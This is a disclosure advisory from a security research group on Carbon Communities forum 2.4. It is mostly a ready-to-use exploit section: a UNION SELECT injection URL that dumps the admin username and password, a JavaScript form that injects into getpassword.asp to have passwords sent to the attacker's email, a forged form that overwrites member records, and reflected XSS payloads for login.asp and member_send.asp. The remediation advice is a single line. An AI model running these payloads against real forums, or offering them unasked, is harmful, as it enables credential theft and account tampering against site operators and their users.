########################## www.BugReport.ir #######################################
#
#      AmnPardaz Security Research Team
#
# Title: Multiple Vulnerabilities in Carbon Communities forum. 
# Vendor: www.carboncommunities.com
# Vulnerable Version: 2.4 and prior versions
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/35
###################################################################################


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1. Description:
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Carbon Communities is a high powered, fully scalable, and highly customizable online portal, message boards/ bulletin board, discussion hub, Private messaging, Event Calendars, Emails and chat software rolled into one.

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2. Vulnerability:
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  2.1. There is a SQL Injection in "events.asp?id=[Injection]". By using it, attacker can gain usernames and passwords.
    2.1.1. POC:
        Check exploits section.
  2.2. There is a SQL Injection in "getpassword.asp". By using it, attacker can send any password to his/her email address.(exploit available)
    2.2.1. POC:
        Check exploits section.
  2.3. There is a SQL Injection in "option_Update.asp". By using it, attacker can update member info.(exploit available)
    2.3.1. POC:
        Check exploits section.
  2.4. There are some XSS in "login.asp" and "member_send.asp".
    2.4.1. POC:
        /login.asp?Redirect='><script>alert('XSS')</script><fake a='
        /member_send.asp?OrderBy='><script>alert('XSS')</script><fake a='
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3. Exploits:
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 Original Exploit URL: http://bugreport.ir/index.php?/35/exploit

 3.1. Attacker can gain usernames and passwords:
  -------------
    http://[CarbonCommunitiesURL]/events.asp?ID=-1 union all select 1,1,1,'Username= '%2bmember_name%2b'<br>Password= '%2bmember_password,1,1,1,1,1,1,1 from tbl_Members where member_name = 'admin'
  -------------
 3.2. Attacker can send any password to his/her email address:
   -------------
    <script language="javascript">
      function check(){
        document.getElementById("UserName").value = "1' or uCase(Member_Name)='"+ document.getElementById("UserName").value
      }
    </script>
    <form action="http://[CarbonCommunitiesURL]/getpassword.asp" method="post" onsubmit="check()">
    UserName: <input type="text" name="UserName" id="UserName" value="default" size="100" />
    <br />
    EMail: <input type="text" name="EMail" value="Your Email Address" size="100" />
    <br />
    <input type="submit" />
    </form>
  -------------
 3.3. Attacker can update member info.:
  -------------
    <form action="http://[CarbonCommunitiesURL]/option_Update.asp?Action=edit" method="post">
    ID<input type="text" name="ID" value="1"/>
    <br />
    Member_Cookies<input type="text" name="Member_Cookies" value="Yes" />
    <br />
    Member_SystemCookies<input type="text" name="Member_SystemCookies" value="Yes" />
    <br />
    Member_Center<input type="text" name="Member_Center" value="1" />
    <br />
    Member_EmailTheadResponse<input type="text" name="Member_EmailTheadResponse" value="1" />
    <br />
    Member_EmailPostResponse<input type="text" name="Member_EmailPostResponse" value="1" />
    <br />
    Member_WeekStart<input type="text" name="Member_WeekStart" value="0" />
    <br />
    Member_ThreadDays<input type="text" name="Member_ThreadDays" value="0" />
    <br />
    Member_ThreadView<input type="text" name="Member_ThreadView" value="0" />
    <br />
    Member_Invisible<input type="text" name="Member_Invisible" value="1" />
    <br />
    Member_HiddenEmail<input type="text" name="Member_HiddenEmail" value="0" />
    <br />
    Member_ReceivePM<input type="text" name="Member_ReceivePM" value="1" />
    <br />
    Member_PMEmailNotice<input type="text" name="Member_PMEmailNotice" value="1" />
    <br />
    Member_PMPopup<input type="text" name="Member_PMPopup" value="1" />
    <br />
    Member_Newsletter<input type="text" name="Member_Newsletter" value="0" />
    <br />
    Member_TimeZone<input type="text" name="Member_TimeZone" value="0" />
    <br />
    Member_DefaultColor<input type="text" name="Member_DefaultColor" value="1" />
    <br />
    <input type="submit" />
    </form>
  -------------
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4. Solution:
####################
  Edit the source code to ensure that inputs are properly sanitised.
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- Credit :
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AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
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